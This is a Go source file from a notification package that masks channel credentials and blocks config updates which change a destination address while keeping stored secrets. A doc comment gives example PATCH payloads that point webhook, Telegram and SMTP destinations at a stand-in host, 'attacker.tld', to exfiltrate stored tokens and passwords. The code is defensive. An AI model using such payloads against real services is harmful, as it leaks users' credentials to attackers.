mirror of
https://github.com/BaaRai/ARTEX.git
synced 2026-11-13 11:40:53 +08:00
Comments, doc comments, UI labels, log and error messages, LLM prompt strings, markdown docs, test data and assertions. Identifiers, enum keys, routes, placeholders and code structure are unchanged. Notes: - docs/漏洞流量证据.md renamed to docs/vulnerability-traffic-evidence.md - tests that exercised CJK specific handling (GBK zip names, Chinese full text search) now use ASCII equivalents; go build passes and the test suite matches the pre translation baseline (remaining failures need a PostgreSQL DSN and fail identically on the original) - frontend mention syntax now uses English kinds (finding, asset, ...) matching the backend, chat mentions tests pass
297 lines
12 KiB
Go
297 lines
12 KiB
Go
package notify
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"strings"
|
|
)
|
|
|
|
// MaskedPrefix is the marker prefix of a masked value. When the API echoes a
|
|
// credential it replaces the real content with a value carrying this prefix, and
|
|
// when the update API receives a value carrying this prefix it understands it as
|
|
// "keep the original value in the database unchanged".
|
|
//
|
|
// A prefix rather than an empty string or some fixed constant is used so that a
|
|
// bit of recognizable information can come along (see MaskedValue), letting the
|
|
// user tell "which bot this is" without re-pasting the secret.
|
|
const MaskedPrefix = "__masked__"
|
|
|
|
// MaskedValue generates a masked value:
|
|
//
|
|
// "__masked__" original value too short, no hint given
|
|
// "__masked__:…ab12cd" carries the last 6 characters of the original as a hint
|
|
//
|
|
// Exposing only the last 6 characters is a deliberate choice: the recognizable
|
|
// part of a webhook address is at its end (e.g. WeCom's key, Feishu's bot id),
|
|
// while the prefix part is the same across bots and has no discriminative value.
|
|
// The last 6 characters are not enough to reconstruct the credential, but enough
|
|
// for the person who configured it to recognize "that's my group".
|
|
func MaskedValue(secret string) string {
|
|
if len(secret) <= 6 {
|
|
return MaskedPrefix
|
|
}
|
|
return MaskedPrefix + ":…" + secret[len(secret)-6:]
|
|
}
|
|
|
|
// IsMasked reports whether a value is a masked value (i.e. echoed by the API and
|
|
// not modified).
|
|
func IsMasked(v string) bool { return strings.HasPrefix(v, MaskedPrefix) }
|
|
|
|
// MaskConfig returns a copy of the configuration with the channel's credential
|
|
// fields replaced by masked values.
|
|
//
|
|
// An unknown channel kind returns an empty map instead of the original
|
|
// configuration — better to let the UI show "configuration unavailable" than to
|
|
// spit back raw content that may contain credentials when the channel kind
|
|
// cannot be recognized. Non-credential fields are kept as-is so the UI renders
|
|
// normally.
|
|
func MaskConfig(kind string, cfg map[string]any) map[string]any {
|
|
channel, ok := Get(kind)
|
|
if !ok {
|
|
return map[string]any{}
|
|
}
|
|
secrets := map[string]bool{}
|
|
for _, k := range channel.SecretKeys() {
|
|
secrets[k] = true
|
|
}
|
|
out := make(map[string]any, len(cfg))
|
|
for k, v := range cfg {
|
|
if !secrets[k] {
|
|
out[k] = v
|
|
continue
|
|
}
|
|
// Nested structures like headers are treated as one credential as a whole:
|
|
// judging sub-keys one by one would require every channel to declare yet
|
|
// another set of "which sub-keys are credentials" rules, a complexity far
|
|
// beyond the benefit.
|
|
if s, ok := v.(string); ok {
|
|
out[k] = MaskedValue(s)
|
|
continue
|
|
}
|
|
out[k] = MaskedPrefix
|
|
}
|
|
return out
|
|
}
|
|
|
|
// ErrDestinationChangedWithoutCredentials means "the destination address
|
|
// changed, but the caller did not take a position on the credential fields".
|
|
// Returning it instead of silently allowing or silently dropping credentials —
|
|
// see PrepareConfigUpdate for the rationale.
|
|
type ErrDestinationChangedWithoutCredentials struct {
|
|
Changed []string // destination keys that changed
|
|
Missing []string // credential keys not explicitly declared
|
|
}
|
|
|
|
func (e *ErrDestinationChangedWithoutCredentials) Error() string {
|
|
return "destination address (" + strings.Join(e.Changed, ", ") + ") has changed; please also re-fill the credential fields (" +
|
|
strings.Join(e.Missing, ", ") + "): enter a new value, or explicitly leave it empty to indicate the credential is no longer needed. " +
|
|
"The original credential is only valid for the old address; continuing to use it amounts to handing it to the new address."
|
|
}
|
|
|
|
// PrepareConfigUpdate merges channel configuration and handles the
|
|
// security-sensitive case of "the destination address changed".
|
|
//
|
|
// It replaces a bare MergeConfig on the channel update path, addressing a
|
|
// verified feasible attack path: the destination address (where messages go) and
|
|
// the credentials (under which identity they are sent) are two independent sets
|
|
// of fields, and MergeConfig keeps the stored value for any "unmentioned key".
|
|
// So anyone who can PATCH a channel can **change only the address while saying
|
|
// nothing about the credentials**, and have the server send the stored real
|
|
// credentials to an endpoint they control:
|
|
//
|
|
// webhook {config:{url:"https://attacker.tld"}} → the original Authorization header goes out with the request
|
|
// telegram {config:{base_url:"https://attacker.tld"}} → /bot<realToken>/sendMessage
|
|
// email {config:{host:"smtp.attacker.tld"}} → username and password handed over after STARTTLS
|
|
//
|
|
// This path is completely silent, does not rely on redirects (so refusing
|
|
// cross-host redirects cannot stop it), and directly defeats the goal of this
|
|
// package's masking mechanism — "credentials are never echoed back to the
|
|
// browser".
|
|
//
|
|
// Rule: whenever a destination key is changed to a new value, the caller must
|
|
// take an explicit position on **every** credential key:
|
|
// - provide a new value → use the new value
|
|
// - explicitly pass an empty string → the field no longer needs a credential
|
|
// (clearing semantics preserved)
|
|
// - pass back the masked value as-is / omit the key entirely → reject
|
|
//
|
|
// The third case is rejected too because the meaning of "masked value" is
|
|
// precisely "keep the old credential", and the old credential is only valid for
|
|
// the old address. Deliberately no "auto-drop credentials" here — for optional
|
|
// credential fields (webhook's headers, email's password) that would silently
|
|
// turn into "auth is gone but the API returned 200", which is harder to
|
|
// troubleshoot than an error. Better to make the operator fill it in once more.
|
|
func PrepareConfigUpdate(kind string, stored, incoming map[string]any) (map[string]any, error) {
|
|
channel, ok := Get(kind)
|
|
if !ok {
|
|
return nil, fmt.Errorf("channel kind %q is not registered", kind)
|
|
}
|
|
secrets := channel.SecretKeys()
|
|
destinations := channel.DestinationKeys()
|
|
|
|
// If a non-string credential value (e.g. webhook's headers is an object) has
|
|
// a masked literal embedded in it, the caller has stuffed the "keep original"
|
|
// sentinel inside a structure. MergeConfig only recognizes "a string with the
|
|
// prefix" as masked, and this shape would be stored as an ordinary object —
|
|
// the literal "__masked__" really lands in the database, and authentication
|
|
// silently fails afterwards with no error anywhere. Better to reject it.
|
|
//
|
|
// This check must come **first**: when the address has not changed there is
|
|
// an early return, and placing it later would cover only the "address
|
|
// changed" path (the first version got exactly this wrong, and the test
|
|
// caught it right away).
|
|
if err := rejectMaskedInContainers(incoming, secrets); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
// Find the destination keys that were actually changed. A masked value counts
|
|
// as "unchanged".
|
|
var changed []string
|
|
for _, key := range destinations {
|
|
raw, present := incoming[key]
|
|
if !present {
|
|
continue
|
|
}
|
|
s, isStr := raw.(string)
|
|
if isStr && IsMasked(s) {
|
|
continue
|
|
}
|
|
if !sameConfigValue(raw, stored[key]) {
|
|
changed = append(changed, key)
|
|
}
|
|
}
|
|
if len(changed) == 0 {
|
|
// Address unchanged: ordinary merge (masked values keep the original,
|
|
// empty strings clear, everything else overwrites).
|
|
return MergeConfig(stored, incoming), nil
|
|
}
|
|
|
|
// Address changed: require an explicit position on every credential key.
|
|
var missing []string
|
|
for _, key := range secrets {
|
|
raw, present := incoming[key]
|
|
if !present {
|
|
missing = append(missing, key)
|
|
continue
|
|
}
|
|
if s, isStr := raw.(string); isStr && IsMasked(s) {
|
|
missing = append(missing, key)
|
|
}
|
|
}
|
|
if len(missing) > 0 {
|
|
return nil, &ErrDestinationChangedWithoutCredentials{Changed: changed, Missing: missing}
|
|
}
|
|
return MergeConfig(stored, incoming), nil
|
|
}
|
|
|
|
// rejectMaskedInContainers rejects submissions that embed the masking sentinel
|
|
// inside non-string structures.
|
|
//
|
|
// The masking mechanism rests on the premise that "the whole value is a string".
|
|
// Object fields like webhook's headers can only be masked as a whole (written as
|
|
// the string "__masked__") or submitted as a whole; stuffing the sentinel inside
|
|
// the object can neither express "keep unchanged" nor avoid being stored as a
|
|
// real value.
|
|
func rejectMaskedInContainers(incoming map[string]any, secretKeys []string) error {
|
|
for _, key := range secretKeys {
|
|
raw, present := incoming[key]
|
|
if !present {
|
|
continue
|
|
}
|
|
if _, isStr := raw.(string); isStr {
|
|
continue
|
|
}
|
|
encoded, err := json.Marshal(raw)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
if strings.Contains(string(encoded), MaskedPrefix) {
|
|
return fmt.Errorf("field %s contains the masking marker %q: this field can only be left empty as a whole to keep the original, or submitted as a whole with a new value; embedding a masking placeholder inside a structure is not allowed",
|
|
key, MaskedPrefix)
|
|
}
|
|
}
|
|
return nil
|
|
}
|
|
|
|
// sameConfigValue compares two configuration values for equivalence. Comparing
|
|
// via JSON serialization also smooths over type differences — the frontend
|
|
// submits the port as a number while the database reads it back as float64, and
|
|
// a plain == would misjudge.
|
|
//
|
|
// "Empty" must be normalized before comparing: an empty string and "key absent"
|
|
// are the same state in this configuration model, because MergeConfig treats an
|
|
// empty string as an explicit clear and deletes the key outright. Without
|
|
// normalization, an always-empty optional destination field (Telegram's base_url
|
|
// is the only such field: empty means use the official address) would go down
|
|
// this path —
|
|
//
|
|
// stored as base_url:"" at creation → first save: MergeConfig deletes the key
|
|
// → second save: incoming is "" while stored lacks the key, judged as "address changed"
|
|
// → credential is a masked value → 400 "destination address has changed, please re-fill the credential fields"
|
|
//
|
|
// and every save from then on fails unless the user re-pastes the Bot Token,
|
|
// even though they changed nothing.
|
|
func sameConfigValue(a, b any) bool {
|
|
if isBlankConfigValue(a) && isBlankConfigValue(b) {
|
|
return true
|
|
}
|
|
ra, errA := json.Marshal(a)
|
|
rb, errB := json.Marshal(b)
|
|
if errA != nil || errB != nil {
|
|
return false
|
|
}
|
|
return string(ra) == string(rb)
|
|
}
|
|
|
|
// isBlankConfigValue decides whether a configuration value is "empty".
|
|
// The convention must agree with MergeConfig's clearing check
|
|
// (strings.TrimSpace(s) == ""), otherwise there is a crack where "MergeConfig
|
|
// thinks it should be deleted but sameConfigValue thinks it has a value".
|
|
func isBlankConfigValue(v any) bool {
|
|
if v == nil {
|
|
return true
|
|
}
|
|
s, ok := v.(string)
|
|
return ok && strings.TrimSpace(s) == ""
|
|
}
|
|
|
|
// MergeConfig merges incoming on top of stored, used to update channel
|
|
// configuration.
|
|
//
|
|
// Rules:
|
|
// - keys whose incoming value is masked → keep the stored value (the user did
|
|
// not change this field)
|
|
// - keys whose incoming value is an empty string → treated as an explicit
|
|
// clear, the key is deleted
|
|
// - all other keys → overwritten with the incoming value
|
|
// - keys present in stored but absent from incoming → kept (partial update
|
|
// semantics)
|
|
//
|
|
// Whether an empty string counts as "clear" needs to be explicit: the frontend
|
|
// form submits unfilled fields as empty strings, and writing them in as valid
|
|
// values would really clear the "leave empty to keep the original" fields. The
|
|
// choice here is explicit clearing, because the user has no other way to express
|
|
// removing a misconfigured field (dragging the field away could distinguish "not
|
|
// provided" from "provided empty", but the UI does not use that distinction).
|
|
func MergeConfig(stored, incoming map[string]any) map[string]any {
|
|
out := make(map[string]any, len(stored)+len(incoming))
|
|
for k, v := range stored {
|
|
out[k] = v
|
|
}
|
|
for k, v := range incoming {
|
|
if s, ok := v.(string); ok {
|
|
if IsMasked(s) {
|
|
continue // masked value = unmodified, keep stored
|
|
}
|
|
if strings.TrimSpace(s) == "" {
|
|
delete(out, k)
|
|
continue
|
|
}
|
|
out[k] = s
|
|
continue
|
|
}
|
|
out[k] = v
|
|
}
|
|
return out
|
|
}
|